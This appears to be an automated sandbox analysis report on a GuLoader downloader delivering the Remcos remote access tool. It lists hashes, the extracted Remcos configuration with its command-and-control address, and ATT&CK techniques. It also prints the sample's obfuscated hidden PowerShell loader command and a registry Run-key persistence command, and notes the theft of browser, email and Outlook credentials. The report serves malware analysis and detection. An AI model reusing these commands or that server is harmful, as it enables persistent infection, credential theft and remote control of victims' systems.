guloader | 2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-10-2024 11:12

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General

Target

2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe
Size

632KB
MD5

84e09bf944042fbd418724cddb729516
SHA1

8d908f01be478390e49bfe51fbca4959af157e1f
SHA256

2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3
SHA512

803912c31ef4e413d7b251fc400950aca18ae522ac5a0b87d51a459182b112edbcad78b506a8cbe7c12eb18b5a4c2825b139107edb7bd2dda6bd18fe43421e78
SSDEEP

12288:UElGNmPCeBgjfiWxnlApvOvcrG7fhbL7TWxv69jIQS6lpOYCUjJ+i:5lGUPBBDulAxOErGLN7avBQTlpvCU3

Score

10^/10

guloader remcos rem_doc2 collection discovery downloader execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Rem_doc2

107.173.4.16:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-DSGECX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2616-70-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4484-67-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/644-66-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4484-67-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/644-66-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1544	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wabmig.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Markedsandel = "%Rykningspaategningens% -windowstyle minimized $Unbaked=(Get-ItemProperty -Path 'HKCU:\\kompositioner\\').Batikker;%Rykningspaategningens% ($Unbaked)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4520	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1544	powershell.exe
4520	wabmig.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1544 set thread context of 4520	1544	powershell.exe	89
PID 4520 set thread context of 644	4520	wabmig.exe	98
PID 4520 set thread context of 4484	4520	wabmig.exe	99
PID 4520 set thread context of 2616	4520	wabmig.exe	100

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\Noumenalize\solipsists.cru	2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\Urim.ini	2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1564	reg.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
644	wabmig.exe
644	wabmig.exe
2616	wabmig.exe
2616	wabmig.exe
644	wabmig.exe
644	wabmig.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1544	powershell.exe
4520	wabmig.exe
4520	wabmig.exe
4520	wabmig.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	2616	wabmig.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 1544	2096	2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe	86
PID 2096 wrote to memory of 1544	2096	2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe	86
PID 2096 wrote to memory of 1544	2096	2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe	86
PID 1544 wrote to memory of 4520	1544	powershell.exe	89
PID 1544 wrote to memory of 4520	1544	powershell.exe	89
PID 1544 wrote to memory of 4520	1544	powershell.exe	89
PID 1544 wrote to memory of 4520	1544	powershell.exe	89
PID 1544 wrote to memory of 4520	1544	powershell.exe	89
PID 4520 wrote to memory of 5056	4520	wabmig.exe	93
PID 4520 wrote to memory of 5056	4520	wabmig.exe	93
PID 4520 wrote to memory of 5056	4520	wabmig.exe	93
PID 5056 wrote to memory of 1564	5056	cmd.exe	96
PID 5056 wrote to memory of 1564	5056	cmd.exe	96
PID 5056 wrote to memory of 1564	5056	cmd.exe	96
PID 4520 wrote to memory of 644	4520	wabmig.exe	98
PID 4520 wrote to memory of 644	4520	wabmig.exe	98
PID 4520 wrote to memory of 644	4520	wabmig.exe	98
PID 4520 wrote to memory of 644	4520	wabmig.exe	98
PID 4520 wrote to memory of 4484	4520	wabmig.exe	99
PID 4520 wrote to memory of 4484	4520	wabmig.exe	99
PID 4520 wrote to memory of 4484	4520	wabmig.exe	99
PID 4520 wrote to memory of 4484	4520	wabmig.exe	99
PID 4520 wrote to memory of 2616	4520	wabmig.exe	100
PID 4520 wrote to memory of 2616	4520	wabmig.exe	100
PID 4520 wrote to memory of 2616	4520	wabmig.exe	100
PID 4520 wrote to memory of 2616	4520	wabmig.exe	100

C:\Users\Admin\AppData\Local\Temp\2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe
"C:\Users\Admin\AppData\Local\Temp\2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Semiexpositive=Get-Content 'C:\Users\Admin\AppData\Roaming\euthanasic\satineredes\Gammastraales\Skeletonlike.pas';$Folkedyb=$Semiexpositive.SubString(54300,3);.$Folkedyb($Semiexpositive)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Markedsandel" /t REG_EXPAND_SZ /d "%Rykningspaategningens% -windowstyle minimized $Unbaked=(Get-ItemProperty -Path 'HKCU:\kompositioner\').Batikker;%Rykningspaategningens% ($Unbaked)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5056
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Markedsandel" /t REG_EXPAND_SZ /d "%Rykningspaategningens% -windowstyle minimized $Unbaked=(Get-ItemProperty -Path 'HKCU:\kompositioner\').Batikker;%Rykningspaategningens% ($Unbaked)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:1564
  - - C:\Program Files (x86)\windows mail\wabmig.exe
      "C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tqiwvxsegzgufqbjaxmrnfoewjlak"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:644
  - - C:\Program Files (x86)\windows mail\wabmig.exe
      "C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wsnpvqdythyhhwpnrhzlqsinfydjdzrf"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:4484
  - - C:\Program Files (x86)\windows mail\wabmig.exe
      "C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\gmba"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3phexr34.0es.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tqiwvxsegzgufqbjaxmrnfoewjlak

Filesize
4KB

MD5
562a58578d6d04c7fb6bda581c57c03c

SHA1
12ab2b88624d01da0c5f5d1441aa21cbc276c5f5

SHA256
ff5c70287ba432a83f9015209d6e933462edca01d68c53c09882e1e4d22241c8

SHA512
3f6e19faa0196bd4c085defa587e664abdd63c25ef30df8f4323e60a5a5aca3cd2709466f772e64ab00fe331d4264841422d6057451947f3500e9252a132254e

Download Submit
C:\Users\Admin\AppData\Roaming\euthanasic\satineredes\Gammastraales\Skeletonlike.pas

Filesize
53KB

MD5
255119688c7065754a83c8ab994df0e0

SHA1
60d2f2b79e0ff83f5a44edec89b296f989eff2bb

SHA256
8289effe39fd7a273415735aaf3dda665c94473b7c8b698a088886ac52b4ec72

SHA512
0d956e851a7ddc97906b79d82c412cf1d49d7954244bf0d2a780857c1e15be0533862d9b88ce77c9f9dab289d6bb1eb5528ff53dc780110fc788dc2eff4e5f04

Download Submit
C:\Users\Admin\AppData\Roaming\euthanasic\satineredes\Gammastraales\Skillemnters.Bel

Filesize
339KB

MD5
6786d85d171f0a5872e24f5ae5d403a1

SHA1
8dd2a7e274f4ab1b278350f373abeb6ac540db6b

SHA256
7dd49bad8787a69b6afc1ac6db875cb9c0da93990d6251f45b4ff6e88fdebb6f

SHA512
02c69c706292c0e098e09e8c9b975fc746145b3edc0330bfc0656512b250016aac0deb49501416dab6cd0b79e927cd36fd0699a48ab90f67221097f7c38e86e1

Download Submit
memory/644-66-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/644-64-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/644-62-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1544-28-0x00000000068F0000-0x0000000006912000-memory.dmp

Filesize
136KB

Download
memory/1544-39-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-23-0x0000000005D70000-0x00000000060C4000-memory.dmp

Filesize
3.3MB

Download
memory/1544-24-0x0000000006400000-0x000000000641E000-memory.dmp

Filesize
120KB

Download
memory/1544-25-0x00000000069D0000-0x0000000006A1C000-memory.dmp

Filesize
304KB

Download
memory/1544-26-0x0000000007490000-0x0000000007526000-memory.dmp

Filesize
600KB

Download
memory/1544-27-0x00000000068A0000-0x00000000068BA000-memory.dmp

Filesize
104KB

Download
memory/1544-6-0x00000000742EE000-0x00000000742EF000-memory.dmp

Filesize
4KB

Download
memory/1544-29-0x0000000007AE0000-0x0000000008084000-memory.dmp

Filesize
5.6MB

Download
memory/1544-12-0x0000000005C90000-0x0000000005CF6000-memory.dmp

Filesize
408KB

Download
memory/1544-31-0x0000000008710000-0x0000000008D8A000-memory.dmp

Filesize
6.5MB

Download
memory/1544-33-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-34-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-35-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-11-0x00000000053B0000-0x00000000053D2000-memory.dmp

Filesize
136KB

Download
memory/1544-37-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-38-0x00000000742EE000-0x00000000742EF000-memory.dmp

Filesize
4KB

Download
memory/1544-9-0x0000000005560000-0x0000000005B88000-memory.dmp

Filesize
6.2MB

Download
memory/1544-40-0x0000000008D90000-0x000000000C721000-memory.dmp

Filesize
57.6MB

Download
memory/1544-41-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-42-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-44-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-7-0x0000000004DB0000-0x0000000004DE6000-memory.dmp

Filesize
216KB

Download
memory/1544-8-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-10-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-59-0x00000000742E0000-0x0000000074A90000-memory.dmp

Filesize
7.7MB

Download
memory/1544-13-0x0000000005D00000-0x0000000005D66000-memory.dmp

Filesize
408KB

Download
memory/2616-68-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2616-69-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2616-70-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4484-67-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4484-65-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4484-63-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4520-56-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-60-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-47-0x0000000077DB8000-0x0000000077DB9000-memory.dmp

Filesize
4KB

Download
memory/4520-48-0x0000000077D31000-0x0000000077E51000-memory.dmp

Filesize
1.1MB

Download
memory/4520-46-0x0000000077D31000-0x0000000077E51000-memory.dmp

Filesize
1.1MB

Download
memory/4520-45-0x0000000001A60000-0x00000000053F1000-memory.dmp

Filesize
57.6MB

Download
memory/4520-76-0x0000000021BC0000-0x0000000021BD9000-memory.dmp

Filesize
100KB

Download
memory/4520-80-0x0000000021BC0000-0x0000000021BD9000-memory.dmp

Filesize
100KB

Download
memory/4520-79-0x0000000021BC0000-0x0000000021BD9000-memory.dmp

Filesize
100KB

Download
memory/4520-81-0x0000000077D31000-0x0000000077E51000-memory.dmp

Filesize
1.1MB

Download
memory/4520-82-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-83-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-84-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-85-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-86-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-87-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-88-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-89-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-90-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-91-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4520-92-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download